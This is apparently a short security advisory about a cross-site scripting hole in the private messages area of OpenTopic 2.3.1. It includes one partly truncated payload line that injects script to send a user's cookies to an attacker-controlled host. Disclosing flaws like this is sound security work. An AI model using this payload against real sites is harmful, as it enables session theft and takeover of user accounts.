Informations :
°°°°°°°°°°°°°°
Product : OpenTopic
Website : http://www.infopop.com
Version : 2.3.1
Problem : XSS (script injection) -> Cookies recovery


Location/Exploit :
°°°°°°°°°°°°°°°°°°
The XSS hole is in the private messages area (
http://[target]/OpenTopic?a=ugtpc ).
XSS to get cookie :
http://[website]/img.gif"width="750"...ker]/?'+a;


More details about XSS :
°°°°°°°°°°°°°°°°°°°°°°°°
In French :
http://www.phpsecure.org/article/XSS.php
Translated by Google :
http://translate.google.com/translat...ASCII&oe=ASCII


frog-m@n



__________________________________________________ _______________
MSN Messenger : discutez en direct avec vos amis !
http://www.msn.fr/msger/default.asp